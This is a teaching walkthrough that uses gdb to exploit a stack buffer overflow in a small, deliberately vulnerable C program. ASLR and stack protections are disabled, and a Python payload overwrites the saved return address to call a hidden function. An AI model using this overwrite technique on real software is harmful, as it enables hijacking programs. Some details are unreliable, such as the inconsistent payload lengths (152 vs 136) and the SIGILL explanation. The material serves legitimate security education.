Buffer Overflow Demo

Objective:

To demonstrate gdb and how to write basic exploits for buffer overflow vulnerabilities with the following c program bo.c

```
ns@pes$ cat bo.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void hidden()
{       fprintf(stdout,"Hijacked!Hiddenfunctionality!\n");}

int bar(char *arg,char *out)
{
        strcpy(out,arg);
        return 0;
}
int foo(char *argv[])
{
        char buf[128];
        bar(argv[1],buf);
}
int main(int argc,char *argv[])
{
        if (argc!=2)
        {
                fprintf(stderr,"target0:argc!=2\n");
                exit(EXIT_FAILURE);
        }
        foo(argv);
        return 0;
}
```

The vulnerability in this program is the use of strcpy (line 13), which copies the first command line arguments into a buffer of limited length (here 128 bytes) without checking the length of the input buffer (i.e., command line argument). This can be easily exploited by an attacker to perform a buffer overflow attack by providing a command line argument that is longer than 128 bytes!

To ease buffer overflow exploit, execute the following commands to disable the protection mechanism. Disable address space randomization and disable compiler protections while compiling the program.

```
ns@pes$ sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for osboxes:
kernel.randomize_va_space = 0
ns@pes$ gcc -g -fno-pie -no-pie -fno-stack-protector -z execstack bo.c -o bo
```

Task 1 : Normal Execution

Step 1: Start the Debugger

```
ns@pes$ gdb bo
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bo...done.
```

Step 2:

As we are interested in the memory content of the buf buffer before and after it was filled by strcpy, define breakpoints before and after the bar function call

```
(gdb) l foo
9       {
10              strcpy(out,arg);
11              return 0;
12      }
13      int foo(char *argv[])
14      {
15              char buf[128];
16              bar(argv[1],buf);
17      }
18      int main(int argc,char *argv[])
```

```
(gdb) b 16
Breakpoint 1 at 0x400697: file bo.c, line 16.
(gdb) b 17
Breakpoint 2 at 0x4006b4: file bo.c, line 17.
```

Step 3: Let the program run and wait for the first breakpoint to be triggered

```
(gdb) r ABCD
Starting program: /home/osboxes/bo ABCD

Breakpoint 1, foo (argv=0x7fffffffdf68) at bo.c:16
16              bar(argv[1],buf);
```

Step 4:

Now let's inspect the content of buf. Here we just print the first 4 words (w) of the buffer in hexadecimal (x) form:

```
(gdb) x /128bx buf
0x7fffffffdde0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdde8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffddf0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffddf8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde00: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde08: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde10: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde18: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde20: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde28: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde30: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde38: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde40: 0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde48: 0x5d    0x07    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffde50: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde58: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
```

Since the content of the buffer was not cleared after it was allocated, this content can be arbitrary and vary from execution to execution. Let's continue the execution of the program, trigger the second breakpoint, and investigate the memory content of buf again

```
(gdb) c
Continuing.

Breakpoint 2, foo (argv=0x7fffffffdf68) at bo.c:17
17      }
```

```
(gdb) x /128bx buf
0x7fffffffdde0: 0x41    0x42    0x43    0x44    0x00    0x00    0x00    0x00
0x7fffffffdde8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffddf0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffddf8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde00: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde08: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde10: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde18: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde20: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde28: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde30: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde38: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde40: 0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde48: 0x5d    0x07    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffde50: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffde58: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
```

We can see that the first word of the memory was overwritten in bar. You can check the ASCII code for the representation of ABCD in hexadecimal form and will notice that A equals to 0x41, B to 0x42, and so forth. Thus, it is obvious that the first word of buf equals indeed to ABCD.

The little-endian ordering is displayed if we print words (4 bytes on a 32 bit system) instead of single bytes

```
(gdb) x /wx buf
0x7fffffffdde0: 0x44434241
```

Note: Words are represented in inverse byte order (\little endian"), i.e., the lower memory address is at the end. Thus, the A is at the end of the first word.

Step 5:

Next, let's check the memory address of buf

```
(gdb) p &buf
$1 = (char (*)[128]) 0x7fffffffdde0
```

Using & in the beginning of the variable name buf means, we are interested in the memory address of the variable and not its content. Here that means, that buf is located at address 0x7fffffffdde0 and occupies the next 128 bytes starting at this address. To print its content we can use the x command as shown before. At this point, while execution of bo is halted at the end of function foo, we can also investigate which return address is saved on the stack. For this, we gather information on the current stack frame

```
(gdb) info frame
Stack level 0, frame at 0x7fffffffde70:
 rip = 0x4006b4 in foo (bo.c:17); saved rip = 0x400700
 called by frame at 0x7fffffffde90
 source language c.
 Arglist at 0x7fffffffde60, args: argv=0x7fffffffdf68
 Locals at 0x7fffffffde60, Previous frame's sp is 0x7fffffffde70
 Saved registers:
  rbp at 0x7fffffffde60, rip at 0x7fffffffde68
```

Important is the information on the Saved registers, where rip is the *instruction pointer*, i.e., the memory address of the next instruction to execute. That means, once foo returns, the instruction pointer will be restored to the value saved at the memory address of the saved eip/rip (i.e., at memory location 0x7fffffffde68).

Let's check which address this is:

```
(gdb) x /wx 0x7fffffffde68
0x7fffffffde68: 0x00400700
```

At last, let the program finish executing:

```
(gdb) c
Continuing.
[Inferior 1 (process 2112) exited normally]
```

Task 2: Calling Hidden Function

Next, we want to exploit this program and call the unused function hidden

Step 1: Finding memory address of hidden

In order to be able to redirect the control flow to the hidden function, we first have to know its memory address. For this basic exploit, we can simply check the address in gdb:

```
(gdb) p &hidden
$2 = (void (*)()) 0x400636 <hidden>
(gdb) q
```

we can see that hidden is located at memory address 0x400636.
Thus, in order to redirect the control flow to hidden, we have to overwrite the (saved) instruction pointer (*eip/rip*) with this address.

Step 2: Crafting the exploit code

Now that we know to which value we have to set the saved instruction pointer, we have to craft an exploit code to pass as first argument to the program (i.e., as argv[1]). To overflow the buf and afterwards the saved rip, we have to know how long exactly our input must be. In this case, we can compute this length from distance between the start of buf and the address of the saved rip. From the previous Section 1 we know that buf is located at 0x7fffffffdde0 and that the saved rip in function foo is located at 0x7fffffffde68.
Thus, the distance between start of the buffer and the saved return address is:

$$0x7fffffffde68 - 0x7fffffffdde0 = 136$$

So we have to fill the buffer (128 bytes) and need an overflow of 16 bytes (8 bytes for the gap between end of buffer and saved return address, 136-128=8, plus 8 bytes to override the saved return address).
Note: It is important that you perform above calculation only with the addresses from program executions that received identical input (or from within the same gdb session)! The exact address of buf and of the saved return address depend on the length of the command line arguments

Step 3: **Exploiting bo**

We can use the output of python script directly as command line argument for bo by putting them into ticks `

```
ns@pes$ gdb --args bo `python -c 'print "A"*152+"\x36"+"\x06"+"\x40"'`
```

```
ns@pes$ gdb --args bo `python -c 'print "A"*152+"\x36"+"\x06"+"\x40"'`
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from bo...done.
(gdb) b 16
Breakpoint 1 at 0x400697: file bo.c, line 16.
(gdb) b 17
Breakpoint 2 at 0x4006b4: file bo.c, line 17.
```

Again, let us interrupt the program just before the call to bar and just after that call but before returning from foo and thereby examine the memory region that we are about to override:

```
(gdb) run `python -c "print 136 * 'A' + '\x36' + '\x06' + '\x40'"`
Starting program: /home/osboxes/bo `python -c "print 136 * 'A' + '\x36' + '\x06'
 + '\x40'"`

Breakpoint 1, foo (argv=0x7fffffffded8) at bo.c:16
16              bar(argv[1],buf);
```

```
(gdb) x /128xb buf
0x7fffffffdd50: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd58: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd60: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd68: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd70: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd78: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd80: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd88: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd90: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd98: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdda0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffdda8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffddb0: 0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffddb8: 0x5d    0x07    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffddc0: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffddc8: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
```

```
(gdb) info frame
Stack level 0, frame at 0x7fffffffdde0:
 rip = 0x400697 in foo (bo.c:16); saved rip = 0x400700
 called by frame at 0x7fffffffde00
 source language c.
 Arglist at 0x7fffffffddd0, args: argv=0x7fffffffded8
 Locals at 0x7fffffffddd0, Previous frame's sp is 0x7fffffffdde0
 Saved registers:
  rbp at 0x7fffffffddd0, rip at 0x7fffffffddd8
(gdb) x /4bx 0x7fffffffddd0
0x7fffffffddd0: 0xf0    0xdd    0xff    0xff
(gdb) x /4bx 0x7fffffffddd8
0x7fffffffddd8: 0x00    0x07    0x40    0x00
```

So far the control flow is identical to the one shown in the normal execution in Task 1. You can see the regular saved return address at the very end of the printed memory region for buf.

Let's continue to the second breakpoint after the copy operation in bar and re-examine the memory region:

```
(gdb) c
Continuing.

Breakpoint 2, foo (argv=0x7fffffffded8) at bo.c:17
17      }
(gdb) x /128xb buf
0x7fffffffdd50: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdd58: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdd60: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdd68: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdd70: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdd78: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdd80: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdd88: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdd90: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdd98: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdda0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffdda8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffddb0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffddb8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffddc0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffddc8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
```

As we can see, the buffer is indeed filled with As, also the gap between end of buffer is filled with As, and the saved return address is correctly overwritten with the address of hidden.

Let's continue execution:

```
(gdb) x /8bx 0x7fffffffddd0
0x7fffffffddd0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
(gdb) x /8bx 0x7fffffffddd8
0x7fffffffddd8: 0x36    0x06    0x40    0x00    0x00    0x00    0x00    0x00
(gdb) c
Continuing.
Hijacked!Hiddenfunctionality!

Program received signal SIGILL, Illegal instruction.
0x00007fffffffdeda in ?? ()
(gdb) q
A debugging session is active.

        Inferior 1 [process 2298] will be killed.

Quit anyway? (y or n) y
ns@pes$
```

As we can see, the hidden was successfully called. After that, the program crashed with a SIGILL error, i.e., the program tried to illegally access a memory location to which it did not have access.